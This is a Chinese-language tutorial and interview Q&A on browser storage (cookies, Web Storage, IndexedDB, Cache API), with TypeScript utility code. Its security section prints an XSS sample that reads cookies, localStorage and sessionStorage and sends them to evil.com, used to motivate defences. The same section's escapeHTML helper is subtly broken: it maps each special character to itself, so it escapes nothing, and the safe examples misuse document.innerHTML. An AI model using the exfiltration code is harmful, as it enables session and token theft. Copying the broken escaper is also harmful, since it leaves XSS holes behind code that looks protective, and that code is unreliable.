前端存储技术
问题
前端有哪些存储技术?它们各自的特点和适用场景是什么?
答案
前端主流存储技术包括:Cookie、Web Storage(localStorage/sessionStorage)、IndexedDB 和 Cache API。
存储技术对比
| 特性 | Cookie | localStorage | sessionStorage | IndexedDB |
|---|---|---|---|---|
| 存储大小 | ~4KB | ~5MB | ~5MB | 无上限(受磁盘限制) |
| 过期时间 | 可设置 | 永久 | 会话结束 | 永久 |
| 与服务器通信 | 每次请求自动携带 | ❌ | ❌ | ❌ |
| 同源策略 | ✅ | ✅ | ✅ | ✅ |
| 数据类型 | 字符串 | 字符串 | 字符串 | 任意类型 |
| API 类型 | 同步 | 同步 | 同步 | 异步 |
| Web Worker | ❌ | ❌ | ❌ | ✅ |
一、Cookie
1.1 什么是 Cookie?
Cookie 是服务器发送到浏览器并保存在本地的一小块数据,浏览器在后续请求中会自动携带该 Cookie。
// 设置 Cookie
document.cookie = 'username=john; max-age=3600; path=/';
// 读取 Cookie
console.log(document.cookie); // "username=john; theme=dark"
// 删除 Cookie(设置过期时间为过去)
document.cookie = 'username=; max-age=0';
1.2 Cookie 属性
| 属性 | 说明 | 示例 |
|---|---|---|
name=value | Cookie 的名称和值 | username=john |
max-age | 有效期(秒) | max-age=3600 |
expires | 过期日期 | expires=Thu, 01 Jan 2025 00:00:00 GMT |
path | 生效路径 | path=/ |
domain | 生效域名 | domain=.example.com |
secure | 仅 HTTPS 传输 | secure |
httpOnly | 禁止 JS 访问(服务端设置) | httpOnly |
sameSite | 跨站限制 | sameSite=Strict |
1.3 封装 Cookie 工具函数
interface CookieOptions {
maxAge?: number; // 有效期(秒)
expires?: Date; // 过期时间
path?: string; // 路径
domain?: string; // 域名
secure?: boolean; // 仅 HTTPS
sameSite?: 'Strict' | 'Lax' | 'None';
}
// 设置 Cookie
function setCookie(
name: string,
value: string,
options: CookieOptions = {}
): void {
let cookie = `${encodeURIComponent(name)}=${encodeURIComponent(value)}`;
if (options.maxAge !== undefined) {
cookie += `; max-age=${options.maxAge}`;
}
if (options.expires) {
cookie += `; expires=${options.expires.toUTCString()}`;
}
if (options.path) {
cookie += `; path=${options.path}`;
}
if (options.domain) {
cookie += `; domain=${options.domain}`;
}
if (options.secure) {
cookie += '; secure';
}
if (options.sameSite) {
cookie += `; samesite=${options.sameSite}`;
}
document.cookie = cookie;
}
// 获取 Cookie
function getCookie(name: string): string | null {
const cookies = document.cookie.split('; ');
for (const cookie of cookies) {
const [cookieName, cookieValue] = cookie.split('=');
if (decodeURIComponent(cookieName) === name) {
return decodeURIComponent(cookieValue);
}
}
return null;
}
// 删除 Cookie
function deleteCookie(name: string, path = '/'): void {
setCookie(name, '', { maxAge: 0, path });
}
// 获取所有 Cookie
function getAllCookies(): Record<string, string> {
const cookies: Record<string, string> = {};
document.cookie.split('; ').forEach((cookie) => {
const [name, value] = cookie.split('=');
if (name) {
cookies[decodeURIComponent(name)] = decodeURIComponent(value || '');
}
});
return cookies;
}
1.4 Cookie 的 SameSite 属性
| SameSite 值 | 说明 |
|---|---|
Strict | 完全禁止第三方 Cookie |
Lax | 允许导航到目标网址的 GET 请求携带(默认值) |
None | 允许跨站发送,但必须同时设置 Secure |
- 敏感信息必须设置
HttpOnly防止 XSS 窃取 - 设置
Secure确保只在 HTTPS 下传输 - 设置
SameSite防止 CSRF 攻击
二、Web Storage
2.1 localStorage
localStorage 用于持久化存储数据,除非手动清除,否则数据永久保存。
// 存储数据
localStorage.setItem('user', JSON.stringify({ name: 'John', age: 25 }));
// 读取数据
const user = JSON.parse(localStorage.getItem('user') || 'null');
// 删除数据
localStorage.removeItem('user');
// 清空所有数据
localStorage.clear();
// 获取数据条数
console.log(localStorage.length);
// 获取第 n 个 key
console.log(localStorage.key(0));
2.2 sessionStorage
sessionStorage 用于会话级存储,关闭标签页后数据自动清除。
// API 与 localStorage 完全相同
sessionStorage.setItem('token', 'abc123');
const token = sessionStorage.getItem('token');
sessionStorage.removeItem('token');
sessionStorage.clear();
2.3 localStorage vs sessionStorage
| 特性 | localStorage | sessionStorage |
|---|---|---|
| 生命周期 | 永久 | 会话期间 |
| 作用域 | 同源所有标签页共享 | 仅当前标签页 |
| 新标签页 | 可访问 | 不可访问 |
| 刷新页面 | 数据保留 | 数据保留 |
| 关闭标签页 | 数据保留 | 数据清除 |
2.4 封装 Storage 工具类
interface StorageData<T> {
value: T;
expire?: number; // 过期时间戳
}
class StorageUtil {
private storage: Storage;
private prefix: string;
constructor(type: 'local' | 'session' = 'local', prefix = '') {
this.storage = type === 'local' ? localStorage : sessionStorage;
this.prefix = prefix;
}
private getKey(key: string): string {
return this.prefix ? `${this.prefix}_${key}` : key;
}
// 设置数据,支持过期时间
set<T>(key: string, value: T, expire?: number): void {
const data: StorageData<T> = { value };
if (expire) {
data.expire = Date.now() + expire * 1000;
}
this.storage.setItem(this.getKey(key), JSON.stringify(data));
}
// 获取数据,自动检查过期
get<T>(key: string): T | null {
const raw = this.storage.getItem(this.getKey(key));
if (!raw) return null;
try {
const data: StorageData<T> = JSON.parse(raw);
// 检查是否过期
if (data.expire && Date.now() > data.expire) {
this.remove(key);
return null;
}
return data.value;
} catch {
return null;
}
}
// 删除数据
remove(key: string): void {
this.storage.removeItem(this.getKey(key));
}
// 清空所有数据(仅清除当前前缀的数据)
clear(): void {
if (!this.prefix) {
this.storage.clear();
return;
}
const keys = Object.keys(this.storage);
keys.forEach((key) => {
if (key.startsWith(this.prefix)) {
this.storage.removeItem(key);
}
});
}
// 检查是否存在
has(key: string): boolean {
return this.get(key) !== null;
}
}
// 使用示例
const storage = new StorageUtil('local', 'myApp');
// 存储数据,60 秒后过期
storage.set('user', { name: 'John' }, 60);
// 获取数据
const user = storage.get<{ name: string }>('user');
2.5 监听 Storage 变化
// 监听其他标签页的 storage 变化(同源)
window.addEventListener('storage', (event: StorageEvent) => {
console.log({
key: event.key, // 变化的 key
oldValue: event.oldValue, // 旧值
newValue: event.newValue, // 新值
url: event.url, // 触发变化的页面 URL
storageArea: event.storageArea, // localStorage 或 sessionStorage
});
});
// 注意:当前页面的修改不会触发 storage 事件
// 只有其他标签页的修改才会触发
利用 storage 事件可以实现跨标签页通信:
// 发送消息
localStorage.setItem('message', JSON.stringify({ type: 'logout', time: Date.now() }));
// 其他标签页接收
window.addEventListener('storage', (e) => {
if (e.key === 'message') {
const data = JSON.parse(e.newValue || '{}');
if (data.type === 'logout') {
// 执行登出逻辑
}
}
});
三、IndexedDB
3.1 什么是 IndexedDB?
IndexedDB 是一个事务型数据库系统,可以存储大量结构化数据,支持索引、事务、游标等特性。
3.2 核心概念
| 概念 | 说明 | 类比 SQL |
|---|---|---|
| Database | 数据库 | Database |
| Object Store | 对象仓库 | Table |
| Index | 索引 | Index |
| Transaction | 事务 | Transaction |
| Cursor | 游标 | Cursor |
3.3 基本使用
// 打开数据库
function openDB(
dbName: string,
version: number
): Promise<IDBDatabase> {
return new Promise((resolve, reject) => {
const request = indexedDB.open(dbName, version);
// 数据库升级时触发(首次创建或版本升级)
request.onupgradeneeded = (event) => {
const db = (event.target as IDBOpenDBRequest).result;
// 创建对象仓库
if (!db.objectStoreNames.contains('users')) {
const store = db.createObjectStore('users', {
keyPath: 'id', // 主键
autoIncrement: true, // 自增
});
// 创建索引
store.createIndex('name', 'name', { unique: false });
store.createIndex('email', 'email', { unique: true });
}
};
request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}
// 添加数据
async function addUser(
db: IDBDatabase,
user: { name: string; email: string }
): Promise<number> {
return new Promise((resolve, reject) => {
const transaction = db.transaction('users', 'readwrite');
const store = transaction.objectStore('users');
const request = store.add(user);
request.onsuccess = () => resolve(request.result as number);
request.onerror = () => reject(request.error);
});
}
// 查询数据
async function getUser(db: IDBDatabase, id: number): Promise<any> {
return new Promise((resolve, reject) => {
const transaction = db.transaction('users', 'readonly');
const store = transaction.objectStore('users');
const request = store.get(id);
request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}
// 更新数据
async function updateUser(
db: IDBDatabase,
user: { id: number; name: string; email: string }
): Promise<void> {
return new Promise((resolve, reject) => {
const transaction = db.transaction('users', 'readwrite');
const store = transaction.objectStore('users');
const request = store.put(user);
request.onsuccess = () => resolve();
request.onerror = () => reject(request.error);
});
}
// 删除数据
async function deleteUser(db: IDBDatabase, id: number): Promise<void> {
return new Promise((resolve, reject) => {
const transaction = db.transaction('users', 'readwrite');
const store = transaction.objectStore('users');
const request = store.delete(id);
request.onsuccess = () => resolve();
request.onerror = () => reject(request.error);
});
}
// 使用示例
async function main(): Promise<void> {
const db = await openDB('myDB', 1);
// 添加用户
const id = await addUser(db, { name: 'John', email: 'john@example.com' });
console.log('Added user with id:', id);
// 查询用户
const user = await getUser(db, id);
console.log('User:', user);
// 更新用户
await updateUser(db, { id, name: 'John Doe', email: 'john@example.com' });
// 删除用户
await deleteUser(db, id);
}
3.4 使用索引查询
// 通过索引查询
async function getUserByEmail(
db: IDBDatabase,
email: string
): Promise<any> {
return new Promise((resolve, reject) => {
const transaction = db.transaction('users', 'readonly');
const store = transaction.objectStore('users');
const index = store.index('email');
const request = index.get(email);
request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}
// 使用游标遍历所有数据
async function getAllUsers(db: IDBDatabase): Promise<any[]> {
return new Promise((resolve, reject) => {
const transaction = db.transaction('users', 'readonly');
const store = transaction.objectStore('users');
const request = store.openCursor();
const users: any[] = [];
request.onsuccess = (event) => {
const cursor = (event.target as IDBRequest).result as IDBCursorWithValue;
if (cursor) {
users.push(cursor.value);
cursor.continue();
} else {
resolve(users);
}
};
request.onerror = () => reject(request.error);
});
}
// 范围查询
async function getUsersByNameRange(
db: IDBDatabase,
minName: string,
maxName: string
): Promise<any[]> {
return new Promise((resolve, reject) => {
const transaction = db.transaction('users', 'readonly');
const store = transaction.objectStore('users');
const index = store.index('name');
// 创建范围
const range = IDBKeyRange.bound(minName, maxName);
const request = index.openCursor(range);
const users: any[] = [];
request.onsuccess = (event) => {
const cursor = (event.target as IDBRequest).result as IDBCursorWithValue;
if (cursor) {
users.push(cursor.value);
cursor.continue();
} else {
resolve(users);
}
};
request.onerror = () => reject(request.error);
});
}
3.5 封装 IndexedDB 工具类
interface DBConfig {
name: string;
version: number;
stores: {
name: string;
keyPath: string;
autoIncrement?: boolean;
indexes?: { name: string; keyPath: string; unique?: boolean }[];
}[];
}
class IDBUtil {
private db: IDBDatabase | null = null;
private config: DBConfig;
constructor(config: DBConfig) {
this.config = config;
}
async connect(): Promise<IDBDatabase> {
if (this.db) return this.db;
return new Promise((resolve, reject) => {
const request = indexedDB.open(this.config.name, this.config.version);
request.onupgradeneeded = (event) => {
const db = (event.target as IDBOpenDBRequest).result;
this.config.stores.forEach((storeConfig) => {
if (!db.objectStoreNames.contains(storeConfig.name)) {
const store = db.createObjectStore(storeConfig.name, {
keyPath: storeConfig.keyPath,
autoIncrement: storeConfig.autoIncrement,
});
storeConfig.indexes?.forEach((indexConfig) => {
store.createIndex(indexConfig.name, indexConfig.keyPath, {
unique: indexConfig.unique,
});
});
}
});
};
request.onsuccess = () => {
this.db = request.result;
resolve(this.db);
};
request.onerror = () => reject(request.error);
});
}
async add<T>(storeName: string, data: T): Promise<IDBValidKey> {
const db = await this.connect();
return new Promise((resolve, reject) => {
const tx = db.transaction(storeName, 'readwrite');
const store = tx.objectStore(storeName);
const request = store.add(data);
request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}
async get<T>(storeName: string, key: IDBValidKey): Promise<T | undefined> {
const db = await this.connect();
return new Promise((resolve, reject) => {
const tx = db.transaction(storeName, 'readonly');
const store = tx.objectStore(storeName);
const request = store.get(key);
request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}
async getAll<T>(storeName: string): Promise<T[]> {
const db = await this.connect();
return new Promise((resolve, reject) => {
const tx = db.transaction(storeName, 'readonly');
const store = tx.objectStore(storeName);
const request = store.getAll();
request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}
async put<T>(storeName: string, data: T): Promise<IDBValidKey> {
const db = await this.connect();
return new Promise((resolve, reject) => {
const tx = db.transaction(storeName, 'readwrite');
const store = tx.objectStore(storeName);
const request = store.put(data);
request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}
async delete(storeName: string, key: IDBValidKey): Promise<void> {
const db = await this.connect();
return new Promise((resolve, reject) => {
const tx = db.transaction(storeName, 'readwrite');
const store = tx.objectStore(storeName);
const request = store.delete(key);
request.onsuccess = () => resolve();
request.onerror = () => reject(request.error);
});
}
async clear(storeName: string): Promise<void> {
const db = await this.connect();
return new Promise((resolve, reject) => {
const tx = db.transaction(storeName, 'readwrite');
const store = tx.objectStore(storeName);
const request = store.clear();
request.onsuccess = () => resolve();
request.onerror = () => reject(request.error);
});
}
}
// 使用示例
const idb = new IDBUtil({
name: 'myApp',
version: 1,
stores: [
{
name: 'users',
keyPath: 'id',
autoIncrement: true,
indexes: [
{ name: 'email', keyPath: 'email', unique: true },
],
},
],
});
// CRUD 操作
await idb.add('users', { name: 'John', email: 'john@example.com' });
const users = await idb.getAll<{ id: number; name: string }>('users');
实际项目中推荐使用成熟的 IndexedDB 封装库:
- idb - Promise 化的轻量封装
- Dexie.js - 功能丰富的 IndexedDB 封装
- localForage - 统一的离线存储 API
四、Cache API
4.1 什么是 Cache API?
Cache API 是 Service Worker 的一部分,用于缓存网络请求和响应,实现离线访问。
// 打开缓存
async function openCache(): Promise<Cache> {
return await caches.open('my-cache-v1');
}
// 缓存资源
async function cacheResources(urls: string[]): Promise<void> {
const cache = await openCache();
await cache.addAll(urls);
}
// 缓存单个请求
async function cacheRequest(request: Request, response: Response): Promise<void> {
const cache = await openCache();
await cache.put(request, response.clone());
}
// 从缓存获取
async function getFromCache(request: Request): Promise<Response | undefined> {
const cache = await openCache();
return await cache.match(request);
}
// 删除缓存
async function deleteFromCache(request: Request): Promise<boolean> {
const cache = await openCache();
return await cache.delete(request);
}
// 清除所有缓存
async function clearAllCaches(): Promise<void> {
const keys = await caches.keys();
await Promise.all(keys.map((key) => caches.delete(key)));
}
4.2 Service Worker 中使用
const CACHE_NAME = 'my-app-v1';
const URLS_TO_CACHE = [
'/',
'/index.html',
'/styles.css',
'/app.js',
];
// 安装时缓存资源
self.addEventListener('install', (event: ExtendableEvent) => {
event.waitUntil(
caches.open(CACHE_NAME).then((cache) => {
return cache.addAll(URLS_TO_CACHE);
})
);
});
// 请求时优先从缓存获取
self.addEventListener('fetch', (event: FetchEvent) => {
event.respondWith(
caches.match(event.request).then((response) => {
// 缓存命中,返回缓存
if (response) {
return response;
}
// 缓存未命中,发起网络请求
return fetch(event.request).then((networkResponse) => {
// 缓存新的响应
if (networkResponse.ok) {
const responseClone = networkResponse.clone();
caches.open(CACHE_NAME).then((cache) => {
cache.put(event.request, responseClone);
});
}
return networkResponse;
});
})
);
});
// 激活时清理旧缓存
self.addEventListener('activate', (event: ExtendableEvent) => {
event.waitUntil(
caches.keys().then((cacheNames) => {
return Promise.all(
cacheNames
.filter((name) => name !== CACHE_NAME)
.map((name) => caches.delete(name))
);
})
);
});
五、存储技术选型
适用场景总结
| 存储方式 | 适用场景 |
|---|---|
| Cookie | 登录态(Session ID)、用户偏好、追踪标识 |
| localStorage | 用户设置、主题配置、不敏感的持久化数据 |
| sessionStorage | 表单数据暂存、页面状态、一次性数据 |
| IndexedDB | 离线应用数据、大量结构化数据、文件缓存 |
| Cache API | PWA 资源缓存、API 响应缓存、离线访问 |
六、安全注意事项
6.1 不要存储敏感信息
// ❌ 错误:不要在前端存储敏感信息
localStorage.setItem('password', '123456');
localStorage.setItem('creditCard', '4111111111111111');
// ✅ 正确:敏感信息应该存储在服务端
// 前端只保存 token,且设置合适的过期时间
sessionStorage.setItem('token', 'jwt-token-here');
6.2 防范 XSS 攻击
// ❌ 危险:直接将存储的数据插入 DOM
const userInput = localStorage.getItem('userInput');
document.innerHTML = userInput!; // XSS 风险
// ✅ 安全:使用 textContent 或转义
document.textContent = userInput!;
// 或者使用 DOMPurify 等库
import DOMPurify from 'dompurify';
document.innerHTML = DOMPurify.sanitize(userInput!);
6.3 存储配额
// 检查存储配额
async function checkStorageQuota(): Promise<void> {
if (navigator.storage && navigator.storage.estimate) {
const { usage, quota } = await navigator.storage.estimate();
console.log(`已使用: ${(usage! / 1024 / 1024).toFixed(2)} MB`);
console.log(`配额: ${(quota! / 1024 / 1024).toFixed(2)} MB`);
console.log(`使用率: ${((usage! / quota!) * 100).toFixed(2)}%`);
}
}
// 请求持久化存储
async function requestPersistentStorage(): Promise<boolean> {
if (navigator.storage && navigator.storage.persist) {
return await navigator.storage.persist();
}
return false;
}
常见面试问题
Q1: Cookie、localStorage、sessionStorage 的区别?
| 对比项 | Cookie | localStorage | sessionStorage |
|---|---|---|---|
| 存储大小 | ~4KB | ~5MB | ~5MB |
| 过期时间 | 可设置 | 永久 | 会话结束 |
| 服务器通信 | 自动携带 | 不参与 | 不参与 |
| 作用域 | 可跨子域 | 同源 | 同源且同标签页 |
Q2: 什么时候用 IndexedDB?
- 需要存储大量数据(超过 5MB)
- 需要结构化查询(索引、范围查询)
- 需要离线访问(PWA)
- 需要在 Web Worker 中访问数据
Q3: 如何实现跨标签页通信?
- localStorage + storage 事件(同源)
- BroadcastChannel API(同源)
- SharedWorker(同源)
- postMessage(可跨域)
// 方式1:localStorage
localStorage.setItem('message', JSON.stringify({ type: 'sync', data: 'hello' }));
// 方式2:BroadcastChannel
const channel = new BroadcastChannel('my-channel');
channel.postMessage({ type: 'sync', data: 'hello' });
channel.onmessage = (e) => console.log(e.data);
Q4: Cookie 的 HttpOnly 和 Secure 有什么作用?
- HttpOnly:禁止 JavaScript 访问,防止 XSS 窃取 Cookie
- Secure:Cookie 只在 HTTPS 连接中发送,防止中间人攻击
Q5: Cookie、localStorage、sessionStorage 的容量限制和使用场景对比
答案:
三者是前端最常用的存储方案,核心差异在于容量、生命周期和与服务器的关系。
| 对比项 | Cookie | localStorage | sessionStorage |
|---|---|---|---|
| 容量 | ~4KB(每个 Cookie) | ~5MB | ~5MB |
| 总量限制 | 每个域名 ~50 个 | 无数量限制 | 无数量限制 |
| 生命周期 | 可设置过期时间 | 永久(手动清除) | 会话级(关闭标签页清除) |
| 服务器通信 | 每次请求自动携带 | 不参与 | 不参与 |
| 跨标签页 | ✅ 同域共享 | ✅ 同源共享 | ❌ 仅当前标签页 |
| 跨子域 | ✅ 可通过 domain 设置 | ❌ 严格同源 | ❌ 严格同源 |
| API 易用性 | 差(字符串操作) | 好(key-value) | 好(key-value) |
| 数据类型 | 字符串 | 字符串 | 字符串 |
| 安全属性 | HttpOnly、Secure、SameSite | 无 | 无 |
使用场景选择:
// 1. Cookie - 需要服务端感知的数据
// 登录态(Session ID)、用户追踪、A/B 测试分组
document.cookie = 'session_id=abc123; max-age=86400; path=/; secure; samesite=Lax';
// 2. localStorage - 需要持久化的非敏感数据
// 用户偏好设置、主题配置、缓存数据
localStorage.setItem('theme', 'dark');
localStorage.setItem('lang', 'zh-CN');
localStorage.setItem('cachedData', JSON.stringify({
data: someData,
timestamp: Date.now(),
}));
// 3. sessionStorage - 仅当前会话需要的临时数据
// 表单草稿、页面状态、一次性数据
sessionStorage.setItem('formDraft', JSON.stringify({
name: '张三',
email: 'test@example.com',
}));
sessionStorage.setItem('scrollPosition', '500');
当 Storage 容量超出限制时,setItem 会抛出 QuotaExceededError 异常,需要捕获处理:
function safeSetItem(key: string, value: string): boolean {
try {
localStorage.setItem(key, value);
return true;
} catch (e) {
if (e instanceof DOMException && e.name === 'QuotaExceededError') {
console.warn('localStorage 已满,尝试清理旧数据');
// 清理策略:删除最早的缓存数据
clearOldestItems();
return false;
}
throw e;
}
}
Q6: 如何实现跨标签页通信?
答案:
跨标签页通信是指同一浏览器中,不同标签页之间传递数据。常见方案有以下几种:
| 方案 | 是否同源 | 实时性 | 数据量 | 复杂度 |
|---|---|---|---|---|
| localStorage + storage 事件 | 同源 | 高 | ~5MB | 低 |
| BroadcastChannel | 同源 | 高 | 无限制 | 低 |
| SharedWorker | 同源 | 高 | 无限制 | 中 |
| postMessage(window.open/iframe) | 可跨域 | 高 | 无限制 | 中 |
| Service Worker | 同源 | 高 | 无限制 | 高 |
方案 1:localStorage + storage 事件(最常用)
// 发送方 - 标签页 A
function sendMessage(type: string, data: unknown): void {
const message = JSON.stringify({
type,
data,
timestamp: Date.now(),
});
localStorage.setItem('cross_tab_message', message);
}
// 接收方 - 标签页 B(storage 事件仅在其他标签页触发)
window.addEventListener('storage', (event: StorageEvent) => {
if (event.key !== 'cross_tab_message' || !event.newValue) return;
const message = JSON.parse(event.newValue);
switch (message.type) {
case 'logout':
// 同步登出状态
window.location.href = '/login';
break;
case 'theme_change':
// 同步主题切换
document.documentElement.setAttribute('data-theme', message.data);
break;
case 'cart_update':
// 同步购物车数据
updateCart(message.data);
break;
}
});
// 使用
sendMessage('logout', { userId: '123' });
sendMessage('theme_change', 'dark');
storage 事件只在其他标签页触发,当前标签页不会收到自己的修改事件。
方案 2:BroadcastChannel(推荐,API 更简洁)
// 创建频道 - 所有同源标签页共享同一个频道名
const channel = new BroadcastChannel('app_channel');
// 发送消息
channel.postMessage({
type: 'user_login',
data: { userId: '123', name: '张三' },
});
// 接收消息
channel.onmessage = (event: MessageEvent) => {
const { type, data } = event.data;
console.log(`收到消息: ${type}`, data);
};
// 关闭频道
channel.close();
方案 3:SharedWorker(适合复杂场景)
// SharedWorker 脚本
const ports: MessagePort[] = [];
// 每个标签页连接时触发
self.addEventListener('connect', (event: MessageEvent) => {
const port = event.ports[0];
ports.push(port);
port.onmessage = (e: MessageEvent) => {
// 将消息广播给所有连接的标签页
ports.forEach((p) => {
if (p !== port) {
p.postMessage(e.data);
}
});
};
});
// 页面中使用 SharedWorker
const worker = new SharedWorker('/shared-worker.js');
// 发送消息
worker.port.postMessage({ type: 'sync', data: 'hello' });
// 接收消息
worker.port.onmessage = (event: MessageEvent) => {
console.log('收到其他标签页的消息:', event.data);
};
worker.port.start();
封装通用的跨标签页通信工具:
type MessageHandler = (data: unknown) => void;
class CrossTabMessenger {
private channel: BroadcastChannel | null = null;
private handlers = new Map<string, Set<MessageHandler>>();
private fallbackMode = false;
constructor(channelName: string) {
if (typeof BroadcastChannel !== 'undefined') {
// 优先使用 BroadcastChannel
this.channel = new BroadcastChannel(channelName);
this.channel.onmessage = (event) => this.dispatch(event.data);
} else {
// 降级使用 localStorage
this.fallbackMode = true;
window.addEventListener('storage', (event) => {
if (event.key === `__msg_${channelName}` && event.newValue) {
this.dispatch(JSON.parse(event.newValue));
}
});
}
}
on(type: string, handler: MessageHandler): void {
if (!this.handlers.has(type)) {
this.handlers.set(type, new Set());
}
this.handlers.get(type)!.add(handler);
}
off(type: string, handler: MessageHandler): void {
this.handlers.get(type)?.delete(handler);
}
emit(type: string, data: unknown): void {
const message = { type, data, timestamp: Date.now() };
if (this.channel) {
this.channel.postMessage(message);
} else {
localStorage.setItem(`__msg_${type}`, JSON.stringify(message));
}
}
private dispatch(message: { type: string; data: unknown }): void {
const handlers = this.handlers.get(message.type);
handlers?.forEach((handler) => handler(message.data));
}
destroy(): void {
this.channel?.close();
this.handlers.clear();
}
}
// 使用示例
const messenger = new CrossTabMessenger('my-app');
messenger.on('logout', () => {
window.location.href = '/login';
});
messenger.emit('logout', { reason: 'user_action' });
Q7: IndexedDB 的使用场景和基本操作
答案:
IndexedDB 是浏览器内置的客户端数据库,适合存储大量结构化数据。与 localStorage 相比,它支持索引查询、事务和异步操作。
适用场景:
| 场景 | 说明 | 示例 |
|---|---|---|
| 离线应用 | PWA 离线数据存储 | 邮件客户端、笔记应用 |
| 大数据缓存 | 缓存 API 响应数据 | 商品列表、文章内容 |
| 文件存储 | 存储 Blob/File | 图片缓存、离线文件 |
| 复杂查询 | 需要索引和范围查询 | 联系人搜索、日志筛选 |
| Web Worker 访问 | Worker 中不能用 localStorage | 后台数据处理 |
基本操作(CRUD):
interface User {
id?: number;
name: string;
email: string;
age: number;
createdAt: Date;
}
// 封装 Promise 化的 IndexedDB 操作
class UserDB {
private dbName = 'userDatabase';
private storeName = 'users';
private version = 1;
// 打开数据库
private open(): Promise<IDBDatabase> {
return new Promise((resolve, reject) => {
const request = indexedDB.open(this.dbName, this.version);
request.onupgradeneeded = (event) => {
const db = (event.target as IDBOpenDBRequest).result;
if (!db.objectStoreNames.contains(this.storeName)) {
const store = db.createObjectStore(this.storeName, {
keyPath: 'id',
autoIncrement: true,
});
// 创建索引以支持按字段查询
store.createIndex('name', 'name', { unique: false });
store.createIndex('email', 'email', { unique: true });
store.createIndex('age', 'age', { unique: false });
}
};
request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}
// Create - 添加用户
async add(user: Omit<User, 'id'>): Promise<number> {
const db = await this.open();
return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readwrite');
const store = tx.objectStore(this.storeName);
const request = store.add({ ...user, createdAt: new Date() });
request.onsuccess = () => resolve(request.result as number);
request.onerror = () => reject(request.error);
});
}
// Read - 查询单个用户
async getById(id: number): Promise<User | undefined> {
const db = await this.open();
return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readonly');
const store = tx.objectStore(this.storeName);
const request = store.get(id);
request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}
// Read - 通过索引查询
async getByEmail(email: string): Promise<User | undefined> {
const db = await this.open();
return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readonly');
const store = tx.objectStore(this.storeName);
const index = store.index('email');
const request = index.get(email);
request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}
// Read - 查询所有用户
async getAll(): Promise<User[]> {
const db = await this.open();
return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readonly');
const store = tx.objectStore(this.storeName);
const request = store.getAll();
request.onsuccess = () => resolve(request.result);
request.onerror = () => reject(request.error);
});
}
// Update - 更新用户(put 会覆盖整条记录)
async update(user: User): Promise<void> {
const db = await this.open();
return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readwrite');
const store = tx.objectStore(this.storeName);
const request = store.put(user);
request.onsuccess = () => resolve();
request.onerror = () => reject(request.error);
});
}
// Delete - 删除用户
async delete(id: number): Promise<void> {
const db = await this.open();
return new Promise((resolve, reject) => {
const tx = db.transaction(this.storeName, 'readwrite');
const store = tx.objectStore(this.storeName);
const request = store.delete(id);
request.onsuccess = () => resolve();
request.onerror = () => reject(request.error);
});
}
}
// 使用示例
const userDB = new UserDB();
// 添加
const id = await userDB.add({ name: '张三', email: 'zhang@example.com', age: 25 });
// 查询
const user = await userDB.getById(id);
const allUsers = await userDB.getAll();
// 更新
await userDB.update({ ...user!, name: '张三丰' });
// 删除
await userDB.delete(id);
原生 IndexedDB API 较为繁琐,实际项目中推荐使用封装库:
- idb:轻量级 Promise 封装,API 与原生一致
- Dexie.js:功能丰富,支持链式查询、批量操作
- localForage:统一 API,自动降级(IndexedDB → WebSQL → localStorage)
Q8: 前端存储的安全性考虑(XSS 窃取 Cookie/Storage)
答案:
前端存储中的数据面临多种安全威胁,其中最主要的是 XSS(跨站脚本攻击) 导致的数据窃取。
各存储方式的安全风险:
| 存储方式 | XSS 可读取 | 防护手段 |
|---|---|---|
| Cookie(无 HttpOnly) | ✅ 可通过 document.cookie 读取 | 设置 HttpOnly |
| Cookie(有 HttpOnly) | ❌ JS 无法读取 | 最安全的凭证存储方式 |
| localStorage | ✅ 可直接读取 | 无法防止 XSS 读取 |
| sessionStorage | ✅ 可直接读取 | 无法防止 XSS 读取 |
| IndexedDB | ✅ 可直接读取 | 无法防止 XSS 读取 |
XSS 攻击窃取存储数据的方式:
// ❌ 攻击者注入的恶意脚本可以轻松窃取所有前端存储数据
// 窃取 Cookie(无 HttpOnly 保护的情况)
const cookies = document.cookie;
new Image().src = `https://evil.com/steal?cookies=${encodeURIComponent(cookies)}`;
// 窃取 localStorage
const token = localStorage.getItem('token');
const userData = localStorage.getItem('user');
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ token, userData }),
});
// 窃取 sessionStorage
const sessionData = Object.keys(sessionStorage).map((key) => ({
key,
value: sessionStorage.getItem(key),
}));
安全存储最佳实践:
// 1. Token 存储方案对比
// ❌ 方案一:localStorage 存 Token(不推荐)
// XSS 可直接窃取
localStorage.setItem('access_token', 'eyJhbGci...');
// ✅ 方案二:HttpOnly Cookie 存 Token(推荐)
// 服务端设置,JS 无法读取
// Set-Cookie: access_token=eyJhbGci...; HttpOnly; Secure; SameSite=Strict; Path=/
// ✅ 方案三:内存中存储(适合 SPA)
// Token 仅保存在 JS 变量中,刷新页面后通过 Refresh Token(HttpOnly Cookie)重新获取
class AuthManager {
private accessToken: string | null = null; // 仅存在内存中
setToken(token: string): void {
this.accessToken = token;
}
getToken(): string | null {
return this.accessToken;
}
// 刷新页面后,通过 HttpOnly Cookie 中的 Refresh Token 重新获取
async refreshToken(): Promise<void> {
const response = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include', // 携带 HttpOnly Cookie
});
if (response.ok) {
const { accessToken } = await response.json();
this.accessToken = accessToken;
}
}
}
// 2. 防止 XSS 是根本解决方案
// 对用户输入进行转义
function escapeHTML(str: string): string {
const escapeMap: Record<string, string> = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
};
return str.replace(/[&<>"']/g, (char) => escapeMap[char]);
}
// 3. 使用 CSP(Content Security Policy)防止脚本注入
// 服务端设置响应头
// Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-abc123';
